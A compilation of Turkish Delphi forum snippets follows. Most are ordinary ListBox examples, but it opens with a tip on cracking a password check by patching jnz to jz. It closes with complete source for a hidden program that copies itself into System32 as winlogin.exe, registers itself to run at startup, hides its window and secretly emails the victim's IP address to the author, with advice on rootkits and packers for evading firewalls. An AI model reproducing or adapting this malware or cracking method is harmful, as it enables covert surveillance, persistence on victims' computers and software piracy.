hazirlayin ve programinizin ceşitli evrelerinde bu procuderlerle programinizin kayitli

olup olmadiğini kontrol edin.

orn:

mesala bool sifre_dogrumu(...);

tarzinda bir sifre kontrol procuderi yazdiniz

ve sifreri kontrol ediyoruz

if(!sifre_dogrumu(..))//yanlişsa

{

}

bu kodu asmlere cevirirsek

call 440000 //şifre dogrumu

jnz 4XXXXX //burdaki jnz kodunu jz yaptıkmı sifre doğru olur.

işte programinizin bir baytini değiştirerek program kırıldı.

Delphi - .....................................

listbox ta kayıt arama_secilen satır icerigi

Seçilen satır içeriği:

Kod:

Listbox1.Items[ListBox1.ItemIndex]

Delphi - .....................................

1 butona birden fazla gorev vermek_keygenlerdeki generate gibi

//TAMAMEN KENDI KODLARIMDIR.BIRAZ ACEMI ISI OLDU AMA ...

//BELLEKTE BIRAZ FAZLA YER KAPLIYABILIR.BU KONUDA DAHA PRATIK KOD BILENLER VARSA

//PAYLASSINLAR LUTFEN..OZE4LLIKLE ELINDE KEYGEN KODU(DELPHI) OLAN VARSA YOLLAYABILIR MI?

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls;

type

TForm1 = class(TForm)

ListBox1: TListBox;

Button1: TButton;

Edit1: TEdit;

Label1: TLabel;

procedure FormCreate(Sender: TObject);

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);

begin

ListBox1.Visible:=false;

with ListBox1.Items do

begin

Add('RaNCoR');

Add('Delphi Turk'un');

Add('KRALI');

end;

procedure TForm1.Button1Click(Sender: TObject);

var

liste,labe:integer;

begin

ListBox1.ItemIndex:=liste;

labe:=StrToInt(Label1.Caption);

liste:=labe;

if liste=0 then

begin

Edit1.Text:=ListBox1.Items[liste];

labe:=labe+1;

Label1.Caption:=IntToStr(labe);

end;

if liste=1 then

begin

Edit1.Text:=ListBox1.Items[liste];

labe:=labe+1;

Label1.Caption:=IntToStr(labe);

end;

if liste=2 then

begin

Edit1.Text:=ListBox1.Items[liste];

labe:=labe+1;

Label1.Caption:=IntToStr(labe);

end;

end.

Delphi - .....................................

Listbox kullanımı ve fonksiyonları

iyi günlwr bu kodları listbox kullanmak zorunda olduğum ve bir türlü kodlara

uygun çözüm bulamadığım için toplu bir inceleme yapma ihtiyacı duydum

umaraım kodlar sizinde bir işinizi görür.

Ahmet Nuri DENİZ

BİL.PROG.

8 bvutton

1 listbox

1 edit

1 label

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls;

type

TForm1 = class(TForm)

ListBox1: TListBox;

Button1: TButton;

Button2: TButton;

Label1: TLabel;

Button3: TButton;

Edit1: TEdit;

Button4: TButton;

Button5: TButton;

Button6: TButton;

Button7: TButton;

Button8: TButton;

Button9: TButton;

procedure Button2Click(Sender: TObject);

procedure Button1Click(Sender: TObject);

procedure Button3Click(Sender: TObject);

procedure Button4Click(Sender: TObject);

procedure Button5Click(Sender: TObject);

procedure Button6Click(Sender: TObject);

procedure Button7Click(Sender: TObject);

procedure Button8Click(Sender: TObject);

procedure Button9Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button2Click(Sender: TObject);

begin // Listboxtaki seçilen kaydı bşr basamak aşağı taşır

ListBox1.Items.Exchange(ListBox1.ItemIndex,ListBox1.ItemIndex+1);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin // Listboxtaki seçilen kaydı bşr basamak yuarı taşır

ListBox1.Items.Exchange(ListBox1.ItemIndex,ListBox1.ItemIndex-1);

end;

procedure TForm1.Button3Click(Sender: TObject);

begin // listboxta kaç eleman var onu verir

Label1.Caption := IntToStr ( ListBox1.Items.Count);

end;

procedure TForm1.Button4Click(Sender: TObject);

begin // Listbox a eleaman ekler (edit1 in text tini)

ListBox1.Items.Add(Edit1.Text);

end;

procedure TForm1.Button5Click(Sender: TObject);

begin // listbox da seçili olan elemanı siler

ListBox1.Items.Delete(ListBox1.ItemIndex);

end;

procedure TForm1.Button6Click(Sender: TObject);

begin // listbox da istenilen yerek kayıt ekler

ListBox1.Items[2] := '10000' ;

end;

procedure TForm1.Button7Click(Sender: TObject);

begin // Seçilen 2 elemanın yerini değiştiri

ListBox1.Items.Exchange(1,3) ;

end;

procedure TForm1.Button8Click(Sender: TObject);

begin // Yazılan elemanı taşır ile sıradaki kaydı 5. sıraya gönderir.

ListBox1.Items.Move(0,5);

end;

procedure TForm1.Button9Click(Sender: TObject);

begin // sçili elemanın numarasını verir

Label1.Caption := IntToStr ( ListBox1.ItemIndex) ;

end;

end.

Delphi - .....................................

re: { serkan kandemir}

Arkadasim bir sey paylasmak istiyorsan tamam ama component satmak icin

burayi kullanmayin. Yok eger satmayacaksan niye buraya onu yazmiyorsun.

----------------

{ serkan kandemir}

arkadaşlar eğer progrogramınızın vergikimlik numarasını bulmasınıistiyorsanız...

işte kod fakat vergikimlik için kompanentini kurmanız gerekli

{------------------------------------------------------------------------------}

VergiKimlikNoBul1.Active:=tRUE;

VergiKimlikNoBul1.VergiKimlikNoBul();

edit6.Text := VergiKimlikNoBul1.VergiKimlikNo ;

edit5.text := VergiKimlikNoBul1.VergiDairesi ;

Delphi - .....................................

Gerçek IP'yi mail ile gizlice yollar

//Unit1.pas dosyası

unit Unit1;

interface

uses

Windows, Forms,Registry, IdIPWatch, IdBaseComponent, IdComponent,

IdTCPConnection, IdTCPClient, IdHTTP, Classes, ExtCtrls, Controls,

StdCtrls, Psock, NMsmtp;

type

TForm1 = class(TForm)

Timer1: TTimer;

IdHTTP1: TIdHTTP;

IdIPWatch1: TIdIPWatch;

NMSMTP1: TNMSMTP;

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

s,s1:String;

implementation

{$R *.dfm}

procedure ip_kontrol;//internet durumunu kontrol eder.

var

i:String;

IdIPWatch1: TIdIPWatch;

begin

IdIPWATCH1 := TIdIPWatch.create(Form1);

i:=IdIPWatch1.LocalIP;

if i='127.0.0.1' then

halt;

end;

procedure ip_ogren;//Siteten,kullanıcının IP'sini alır

var

al:TIdHTTP;

begin

al:=TIdHTTP.Create(Form1);//Componeneti otomatik yarat

s:=al.Get('http://checkip.dyndns.org');//Ip check sitesinden IP'yi al

s1:=copy(s,77,14);//Kodun IP bölümünü kes

end;

procedure mail_gonder;//Belirlenen peryotta mail yollar.

var

NMSMTP1: TNMSMTP;

begin

NMSMTP1 := TNMSMTP.create(nil);

NMSMTP1.Host := 'mx2.mail.yahoo.com';

NMSMTP1.UserID := 'XXXXX';

NMSMTP1.Connect;

NMSMTP1.PostMessage.FromAddress := 'XXXXX@yahoo.com';

NMSMTP1.PostMessage.ToCarbonCopy.Text := 'YYYYY@yahoo.com';

NMSMTP1.PostMessage.Body.Text := 'Merhaba YYYYY';//Önemsiz bir ayrıntı!

NMSMTP1.PostMessage.Subject :='İşte IP-->'+s1;

NMSMTP1.SendMail;

NMSMTP1.Disconnect;

NMSMTP1.free;

end;

procedure TForm1.FormCreate(Sender: TObject);

var

reg: TRegistry;

begin

CopyFile(PChar(ParamStr(0)),

PChar('C:WindowsSystem32winlogin.exe'),False);//Kendini hedef klasöre kopyalar.Klasik solucan anatomisi!

reg := TRegistry.Create;

reg.RootKey := HKEY_LOCAL_MACHINE;

reg.LazyWrite := false;

reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun',false);// Kendini açılışa kaydeder.

reg.WriteString('WinLog','c:WindowsSystem32winlogin.exe');

reg.CloseKey;

reg.free;

begin

ip_kontrol;

end;

begin

ip_ogren;

end;

sleep(8000);//Bu süreyi vermekte fayda var,internet hatları herzaman istenildiği gibi hızlı olmuyor.

begin

mail_gonder;

end;

end.

------------

//winlogin.dpr dosyası

program winlogin;

uses

Forms,

Unit1 in 'Unit1.pas' {Form1};

{$R *.res}

begin

Application.Initialize;

Application.CreateForm(TForm1, Form1);

Application.ShowMainForm:=False;//İşte bu önemli!Programınız gizli çalışır.

Application.Run;

end.

--------

Önemli Notlar:

1)Bu kodlar içerisinde geçen "ip_ogren" adlı procedurenin kodları alıntıdır ve bana ait değildir.Buradan o arkadaşa teşekkür ederim.Ama programın algoritması bana aittir.

2)Yahoo'dan iki adet mail adresi gerekiyor.

3)Belki de en önemlisi;Programın gizlendiği makinede Kaspersky Anti-Hacker gibi Firewalllar olamamalıdır.Çünkü,firewallar ne yazık ki bunu engeller.(Taki kullanıcı allow der ise...)Kaspersky Anti-Hacker gibi güncel tüm firewalllar Kernel Modda çalıştığı için maalesef kill edilemiyor.Ama onunda üstesinden gelindi!Rootkit ve API bütünleşmesi...

4)Oluşan exe boyutunu küçültmek için UPX ya da AsPack gibi sıkıştırıcılar kullanın.İyi çalışmalar...

Delphi - .....................................